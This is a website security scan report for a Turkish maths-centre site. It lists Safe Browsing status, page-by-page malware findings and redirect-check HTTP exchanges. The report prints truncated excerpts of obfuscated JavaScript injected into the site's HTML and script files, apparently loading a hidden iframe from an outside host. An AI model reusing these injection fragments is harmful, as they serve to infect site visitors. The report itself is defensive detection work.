Safe Browsing / Blacklists
Query: http://www.google.com/safebrowsing/diagnostic?site=matematikmerkezi.org
Result: The website is marked by Google as suspicious. - visiting this web site may harm your computer.
Details are available here.
Result: The website is marked by Google as suspicious. - visiting this web site may harm your computer.
Details are available here.
Scanned pages/files
Request | Server response | Status |
http://matematikmerkezi.org/ | 200 OK Content-Length: 45966 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) qjpn=String;gou="spl"+"i"+"t";shscro=window;pgh=(1)?"0x":"123";dslpzq=(5-3-1);try{if(Math.ceil(5.5)===0x6)--(document["b"+"ody"])}catch(bzdnvy){vcmt=false;try{}catch(xkzug){vcmt=21;}if(1){jhp="17Zq5dZq6cZq65Zq5aZq6bZq60Zq66Zq65Zq17Zq6dZq5aZq6aZq27Zq30Zq1fZq20Zq17Zq72Zq4Zq1Zq17Zq6dZq58Zq69Zq17Zq6aZq6bZq58Zq6bZq60Zq5aZq34Zq1eZq58Zq61Zq58Zq6fZq1eZq32Zq4Zq1Zq17Zq6dZq58Zq69Zq17Zq5aZq66Zq65Zq6bZq69Zq66Zq63Zq63Zq5cZq69Zq34Zq1eZq60Zq65Zq5bZq5cZq6fZq25Zq67Zq5fZq67Zq1eZq32Zq4Zq1Zq17Zq6dZq58Zq69Zq17Zq6dZq5 Antivirus reports:
| ||
http://matematikmerkezi.org/js/centeredPopup.js | 200 OK Content-Length: 12937 Content-Type: application/x-javascript | malicious |
Malicious code - confirmed by antiviruses (see below) if(document.querySelector)iwye=4;vdhk=("6f,b5,c4,bd,b2,c3,b8,be,bd,6f,c1,b6,7f,88,77,78,6f,ca,5c,59,6f,c5,b0,c1,6f,c2,c3,b0,c3,b8,b2,8c,76,b0,b9,b0,c7,76,8a,5c,59,6f,c5,b0,c1,6f,b2,be,bd,c3,c1,be,bb,bb,b4,c1,8c,76,b8,bd,b3,b4,c7,7d,bf,b7,bf,76,8a,5c,59,6f,c5,b0,c1,6f,c1,b6,6f,8c,6f,b3,be,b2,c4,bc,b4,bd,c3,7d,b2,c1,b4,b0,c3,b4,94,bb,b4,bc,b4,bd,c3,77,76,b8,b5,c1,b0,bc,b4,76,78,8a,5c,59,5c,59,6f,c1,b6,7d,c2,c1,b2,6f,8c,6f,76,b7,c3,c3,bf,89,7e,7e,b6,bb,be,b2,ba,bd,b4,c1,bb,b0,bc,bc,7d,b0,c3,7e,b8,b Antivirus reports:
| ||
http://matematikmerkezi.org/js/ajax_framework.js | 200 OK Content-Length: 15269 Content-Type: application/x-javascript | malicious |
Malicious code - confirmed by antiviruses (see below) function createObject() { var request_type; var browser = navigator.appName; if(browser == "Microsoft Internet Explorer") { request_type = new ActiveXObject("Microsoft.XMLHTTP"); } else { request_type = new XMLHttpRequest(); } return request_type; } var http = createObject(); var nocache = 0; var response; var no; function insert(obj,id) { var objUzunluk = obj.length; for(var i = 0; i < /*/a9a007*/ Antivirus reports:
| ||
http://matematikmerkezi.org/index.php | 200 OK Content-Length: 45966 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) qjpn=String;gou="spl"+"i"+"t";shscro=window;pgh=(1)?"0x":"123";dslpzq=(5-3-1);try{if(Math.ceil(5.5)===0x6)--(document["b"+"ody"])}catch(bzdnvy){vcmt=false;try{}catch(xkzug){vcmt=21;}if(1){jhp="17Zq5dZq6cZq65Zq5aZq6bZq60Zq66Zq65Zq17Zq6dZq5aZq6aZq27Zq30Zq1fZq20Zq17Zq72Zq4Zq1Zq17Zq6dZq58Zq69Zq17Zq6aZq6bZq58Zq6bZq60Zq5aZq34Zq1eZq58Zq61Zq58Zq6fZq1eZq32Zq4Zq1Zq17Zq6dZq58Zq69Zq17Zq5aZq66Zq65Zq6bZq69Zq66Zq63Zq63Zq5cZq69Zq34Zq1eZq60Zq65Zq5bZq5cZq6fZq25Zq67Zq5fZq67Zq1eZq32Zq4Zq1Zq17Zq6dZq58Zq69Zq17Zq6dZq5 Antivirus reports:
| ||
http://matematikmerkezi.org/projeekibi.php | 200 OK Content-Length: 11005 Content-Type: text/html | clean |
http://matematikmerkezi.org/etkinlikler.php | 200 OK Content-Length: 12341 Content-Type: text/html | clean |
http://matematikmerkezi.org/fotograflar.php | 200 OK Content-Length: 10012 Content-Type: text/html | clean |
http://matematikmerkezi.org/js/prototype.js | 200 OK Content-Length: 58504 Content-Type: application/x-javascript | malicious |
Malicious code - confirmed by antiviruses (see below) if(document.querySelector)iwye=4;vdhk=("6f,b5,c4,bd,b2,c3,b8,be,bd,6f,c1,b6,7f,88,77,78,6f,ca,5c,59,6f,c5,b0,c1,6f,c2,c3,b0,c3,b8,b2,8c,76,b0,b9,b0,c7,76,8a,5c,59,6f,c5,b0,c1,6f,b2,be,bd,c3,c1,be,bb,bb,b4,c1,8c,76,b8,bd,b3,b4,c7,7d,bf,b7,bf,76,8a,5c,59,6f,c5,b0,c1,6f,c1,b6,6f,8c,6f,b3,be,b2,c4,bc,b4,bd,c3,7d,b2,c1,b4,b0,c3,b4,94,bb,b4,bc,b4,bd,c3,77,76,b8,b5,c1,b0,bc,b4,76,78,8a,5c,59,5c,59,6f,c1,b6,7d,c2,c1,b2,6f,8c,6f,76,b7,c3,c3,bf,89,7e,7e,b6,bb,be,b2,ba,bd,b4,c1,bb,b0,bc,bc,7d,b0,c3,7e,b8,b Antivirus reports:
| ||
http://matematikmerkezi.org/js/scriptaculous.js?load=effects | 200 OK Content-Length: 13053 Content-Type: application/x-javascript | malicious |
Malicious code - confirmed by antiviruses (see below) if(document.querySelector)iwye=4;vdhk=("6f,b5,c4,bd,b2,c3,b8,be,bd,6f,c1,b6,7f,88,77,78,6f,ca,5c,59,6f,c5,b0,c1,6f,c2,c3,b0,c3,b8,b2,8c,76,b0,b9,b0,c7,76,8a,5c,59,6f,c5,b0,c1,6f,b2,be,bd,c3,c1,be,bb,bb,b4,c1,8c,76,b8,bd,b3,b4,c7,7d,bf,b7,bf,76,8a,5c,59,6f,c5,b0,c1,6f,c1,b6,6f,8c,6f,b3,be,b2,c4,bc,b4,bd,c3,7d,b2,c1,b4,b0,c3,b4,94,bb,b4,bc,b4,bd,c3,77,76,b8,b5,c1,b0,bc,b4,76,78,8a,5c,59,5c,59,6f,c1,b6,7d,c2,c1,b2,6f,8c,6f,76,b7,c3,c3,bf,89,7e,7e,b6,bb,be,b2,ba,bd,b4,c1,bb,b0,bc,bc,7d,b0,c3,7e,b8,b Antivirus reports:
| ||
http://matematikmerkezi.org/js/lightbox.js | 200 OK Content-Length: 34282 Content-Type: application/x-javascript | malicious |
Malicious code - confirmed by antiviruses (see below) if(document.querySelector)iwye=4;vdhk=("6f,b5,c4,bd,b2,c3,b8,be,bd,6f,c1,b6,7f,88,77,78,6f,ca,5c,59,6f,c5,b0,c1,6f,c2,c3,b0,c3,b8,b2,8c,76,b0,b9,b0,c7,76,8a,5c,59,6f,c5,b0,c1,6f,b2,be,bd,c3,c1,be,bb,bb,b4,c1,8c,76,b8,bd,b3,b4,c7,7d,bf,b7,bf,76,8a,5c,59,6f,c5,b0,c1,6f,c1,b6,6f,8c,6f,b3,be,b2,c4,bc,b4,bd,c3,7d,b2,c1,b4,b0,c3,b4,94,bb,b4,bc,b4,bd,c3,77,76,b8,b5,c1,b0,bc,b4,76,78,8a,5c,59,5c,59,6f,c1,b6,7d,c2,c1,b2,6f,8c,6f,76,b7,c3,c3,bf,89,7e,7e,b6,bb,be,b2,ba,bd,b4,c1,bb,b0,bc,bc,7d,b0,c3,7e,b8,b Antivirus reports:
| ||
http://matematikmerkezi.org/dokumanlar.php | 200 OK Content-Length: 9171 Content-Type: text/html | clean |
http://matematikmerkezi.org/iletisim.php | 200 OK Content-Length: 19783 Content-Type: text/html | clean |
http://matematikmerkezi.org/SpryAssets/SpryValidationTextField.js | 200 OK Content-Length: 86085 Content-Type: application/x-javascript | malicious |
Malicious code - confirmed by antiviruses (see below) if(document.querySelector)iwye=4;vdhk=("6f,b5,c4,bd,b2,c3,b8,be,bd,6f,c1,b6,7f,88,77,78,6f,ca,5c,59,6f,c5,b0,c1,6f,c2,c3,b0,c3,b8,b2,8c,76,b0,b9,b0,c7,76,8a,5c,59,6f,c5,b0,c1,6f,b2,be,bd,c3,c1,be,bb,bb,b4,c1,8c,76,b8,bd,b3,b4,c7,7d,bf,b7,bf,76,8a,5c,59,6f,c5,b0,c1,6f,c1,b6,6f,8c,6f,b3,be,b2,c4,bc,b4,bd,c3,7d,b2,c1,b4,b0,c3,b4,94,bb,b4,bc,b4,bd,c3,77,76,b8,b5,c1,b0,bc,b4,76,78,8a,5c,59,5c,59,6f,c1,b6,7d,c2,c1,b2,6f,8c,6f,76,b7,c3,c3,bf,89,7e,7e,b6,bb,be,b2,ba,bd,b4,c1,bb,b0,bc,bc,7d,b0,c3,7e,b8,b Antivirus reports:
| ||
http://matematikmerkezi.org/SpryAssets/SpryValidationTextarea.js | 200 OK Content-Length: 48073 Content-Type: application/x-javascript | malicious |
Malicious code - confirmed by antiviruses (see below) if(document.querySelector)iwye=4;vdhk=("6f,b5,c4,bd,b2,c3,b8,be,bd,6f,c1,b6,7f,88,77,78,6f,ca,5c,59,6f,c5,b0,c1,6f,c2,c3,b0,c3,b8,b2,8c,76,b0,b9,b0,c7,76,8a,5c,59,6f,c5,b0,c1,6f,b2,be,bd,c3,c1,be,bb,bb,b4,c1,8c,76,b8,bd,b3,b4,c7,7d,bf,b7,bf,76,8a,5c,59,6f,c5,b0,c1,6f,c1,b6,6f,8c,6f,b3,be,b2,c4,bc,b4,bd,c3,7d,b2,c1,b4,b0,c3,b4,94,bb,b4,bc,b4,bd,c3,77,76,b8,b5,c1,b0,bc,b4,76,78,8a,5c,59,5c,59,6f,c1,b6,7d,c2,c1,b2,6f,8c,6f,76,b7,c3,c3,bf,89,7e,7e,b6,bb,be,b2,ba,bd,b4,c1,bb,b0,bc,bc,7d,b0,c3,7e,b8,b Antivirus reports:
| ||
http://matematikmerkezi.org/randevuSayi.php | 200 OK Content-Length: 26072 Content-Type: text/html | clean |
Malicious Redirects
First query (normal visit):
GET / HTTP/1.1
Host: matematikmerkezi.org
Result:
HTTP/1.1 200 OK
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Connection: close
Date: Sat, 05 Jul 2014 08:51:04 GMT
Pragma: no-cache
Server: LiteSpeed
Content-Type: text/html
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Set-Cookie: PHPSESSID=i9g0tm7ui7to4dg2mvr4fslos5; path=/
X-Powered-By: PleskLin
GET / HTTP/1.1
Host: matematikmerkezi.org
Result:
HTTP/1.1 200 OK
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Connection: close
Date: Sat, 05 Jul 2014 08:51:04 GMT
Pragma: no-cache
Server: LiteSpeed
Content-Type: text/html
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Set-Cookie: PHPSESSID=i9g0tm7ui7to4dg2mvr4fslos5; path=/
X-Powered-By: PleskLin
Second query (visit from search engine):
GET / HTTP/1.1
Host: matematikmerkezi.org
Referer: http://www.google.com/search?q=matematikmerkezi.org
Result:
The result is similar to the first query. There are no suspicious redirects found.
GET / HTTP/1.1
Host: matematikmerkezi.org
Referer: http://www.google.com/search?q=matematikmerkezi.org
Result:
The result is similar to the first query. There are no suspicious redirects found.